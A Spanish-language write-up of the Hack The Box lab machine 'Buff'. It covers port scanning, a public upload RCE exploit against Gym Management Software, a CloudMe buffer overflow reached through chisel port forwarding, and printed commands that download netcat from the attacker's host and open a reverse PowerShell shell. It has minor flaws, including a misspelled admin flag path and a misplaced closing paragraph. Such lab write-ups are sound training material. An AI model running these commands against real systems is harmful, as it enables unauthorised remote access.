En el presente desafío, abordaremos la máquina “Buff” de Hack The Box. En este escenario, aprenderemos a como explotar de forma fácil un RCE para ganar acceso al sistema y posteriormente para ganar a
En el presente desafío, abordaremos la máquina “Buff” de Hack The Box. En este escenario, aprenderemos a como explotar de forma fácil un RCE para ganar acceso al sistema y posteriormente para ganar acceso a administrador por medio de un BUFFER OVER FLOW
Escaneo de puertos
Primero que todo hacemos un escaneo de puerto con nmap a los puertos abiertos con los siguientes parametros:
-p- : Escanear todos los 65353 puertos que existen
-Pn : Sirve para decirle a Nmap que el host destino si esta arriba
–min-rate 5000 : Lo que hace este parámetro de nmap es controlar el numero mínimo de paquetes por segundo que se enviara durante el escaneo
nmap -p- --min-rate 5000 -Pn 10.10.10.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 14:35 EST
Nmap scan report for 10.10.10.198
Host is up (0.53s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
7680/tcp open pando-pub
8080/tcp open http-proxy
ahora que ya tenemos el numero de puertos abiertos lo que hacemos es ejecutar los scripts de nmap para validar el servicio que está corriendo en cada puerto, el comando nmap consta de los siguientes parametros:
-p : Con este parámetro especificamos que puerto vamos a escanear
-sCV: Con este parámetro hacemos que nmap ejecute algunos scripts para saber qué tipo de servicio está corriendo en el puerto
-A : Nos sirve para obtener una detección de servicios y sistemas operativos
nmap -p7680,8080 -Pn -sCV --script="vuln and safe" 10.10.10.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 14:37 EST
Stats: 0:01:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.38% done; ETC: 14:39 (0:00:02 remaining)
Stats: 0:02:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.38% done; ETC: 14:39 (0:00:03 remaining)
Nmap scan report for 10.10.10.198
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| vulners:
| cpe:/a:apache:http_server:2.4.43:
| PACKETSTORM:176334 7.5 https://vulners.com/packetstorm/PACKETSTORM:176334 *EXPLOIT*
| PACKETSTORM:171631 7.5 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT*
| OSV:BIT-APACHE-2023-25690 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2023-25690
| OSV:BIT-APACHE-2022-31813 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2022-31813
| OSV:BIT-APACHE-2022-23943 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2022-23943
| OSV:BIT-APACHE-2022-22720 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2022-22720
| OSV:BIT-APACHE-2021-44790 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2021-44790
| OSV:BIT-APACHE-2021-42013 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2021-42013
| OSV:BIT-APACHE-2021-41773 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2021-41773
| OSV:BIT-APACHE-2021-39275 7.5 https://vulners.com/osv/OSV:BIT-APACHE-2021-39275
...
| 1145F3D1-0ECB-55AA-B25D-A26892116505 4.3 https://vulners.com/githubexploit/1145F3D1-0ECB-55AA-B25D-A26892116505 *EXPLOIT*
| 108A0713-4AB8-5A1F-A16B-4BB13ECEC9B2 4.3 https://vulners.com/githubexploit/108A0713-4AB8-5A1F-A16B-4BB13ECEC9B2 *EXPLOIT*
| 0BC014D0-F944-5E78-B5FA-146A8E5D0F8A 4.3 https://vulners.com/githubexploit/0BC014D0-F944-5E78-B5FA-146A8E5D0F8A *EXPLOIT*
| 06076ECD-3FB7-53EC-8572-ABBB20029812 4.3 https://vulners.com/githubexploit/06076ECD-3FB7-53EC-8572-ABBB20029812 *EXPLOIT*
| 05403438-4985-5E78-A702-784E03F724D4 4.3 https://vulners.com/githubexploit/05403438-4985-5E78-A702-784E03F724D4 *EXPLOIT*
| 00EC8F03-D8A3-56D4-9F8C-8DD1F5ACCA08 4.3 https://vulners.com/githubexploit/00EC8F03-D8A3-56D4-9F8C-8DD1F5ACCA08 *EXPLOIT*
| CVE-2023-45802 2.6 https://vulners.com/cve/CVE-2023-45802
|_ OSV:BIT-APACHE-2020-13938 2.1 https://vulners.com/osv/OSV:BIT-APACHE-2020-13938
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 379.19 seconds
Explotación
ahora hacemos lo típico ,empezamos a preguntar a san google ,si hay alguna vulnerabilidad para el sistema de Gym Management Software 1.0 y este nos da la siguiente respuesta.
por ende entramos al primer link que hace referencia a la famosa pagina de exploitdb y como podemos notar ,este sistema es vulnerable a un RCE ( Remote Comand Execution ) , por medio de la subida de un archivo php
asi que nos traemos ese codigo, y la ejecutamos con el siguiente comando
python2 shell.py http://10.10.10.198:8080/
y al ejecutarlo nos dará acceso al servidor.
pero como podemos ver ,no es tan cómoda la shell,por ende lo que haremos es descargar la versión ejecutable de netcat en el siguiente link
ya con esto lo que hacemos es abrir un servidor http para que la maquina victima pueda descargar el nc.exe
python -m http.server 80
en pocas palabras con este comando lo que hacemos es abrir un servidor ,donde si ingresamos veremos que nos listara todos los archivos que estarán en la carpeta
por ende ahora en el servidor de la victima lo que harmos es descargar el netcat que tenemos en nuestro servidor ,de la siguiente forma
curl 10.10.14.48/nc64.exe -o nc.exe
ya con el net cat descargado lo que hacemos es colocarnos en escucha con el siguiente comando
rlwrap nc -lvnp 4444
y mandamos una shell inversa a nuestra ip
nc.exe 10.10.14.48 4444 -e powershell
como podemos observar vemos que recibimos una shell en el comando de escucha donde nos podemos mover mas facilmente en los archivos del sistema
ahora para la primera flag la encontramos en el siguiente directorio
type C:\users\shaun\Desktop\user.txt
Escala de privilegios
para elevar privilegios utilizaremos WinPeas este software nos ayuda a automatizar el apartado de escalado de privilegios en windows
y lo que haremos es abrir un servidor en el puerto 80 para poder descargar el archivo en la maquina victima ,hay que tener en cuenta que debemos cerrar el servidor anterior para abrir uno en el mismo puerto
curl 10.10.14.48/winPEASx64.exe -o winPEASx64.exe
por ende ejecutamos el archivo con el siguiente comando
./winPEASx64.exe
esperamos un rato que este se ejecute y al revisar el log de este notamos que en la carpeta de descarga existe un archivo ejecutable
este archivo ejecutable hace referencia a el software que permite almacenar información en la nube ,pero al investigar y buscar notamos que esta aplicacion en su versión de 1.11.2es vulnerable a BUFFER OVERFLOW .
Al revisar la prueba de concepto podemos ver que el lo que hace es enviar un payload previamente generado a el puerto 8888 de la maquina ,por ende cuando se ejecuta el .exe este abrira el puerto 8888 dentro de la maquina .
Por ende lo que haremos es ejecutar el .exe de cloud me
./CloudMe_1112.exe
y revisamos con el siguiente comando si este abrió el puerto 8888 dentro del servidor
netstat -an | findstr "LISTENING"
Por ende ya tenemos el puerto abierto ,pero necesitamos que mi servidor ,tenga el acceso al puerto 8888 del servidor victima ,para esto necesitamos hacer un PORT FORWARDING ósea hacer que el puerto 8888 del cliente se conecte con algún puerto mío.
Para eso utilizamos la herramienta llamada chisel
nos descargamos la versión de windows y la del linux y lo que hacemos es que el servidor atacante se ponga en escucha mientras que en el victima tome el puerto 8888 y lo conecte a mi servidor
ahora que ya tenemos acceso desde nuestro servidor atacante al puerto que necesitamos de la victima ,leemos el exploit y por lo que vemos necesitamos generar un payload con metasploit que nos permita hacer una shell inversa.
ya con esto nos faltaría colocarnos en escucha en el puerto que especificamos y ejecutamos el Script ,al ejecutar este nos dará acceso a la shell del administrador
Ahora lo que hacemos es buscar la flag del admin que se encuentra en esta ruta
type C:\users\Adminitrator\Desktop\user.txt
Referencias
como podemos ver nos da mucho ruido el escaneo ,por ende vamos a la pagina que se aloja en el puerto 8080 , y revisando vemos que en la siguiente url nos da la versión y el sistema que están utilizando.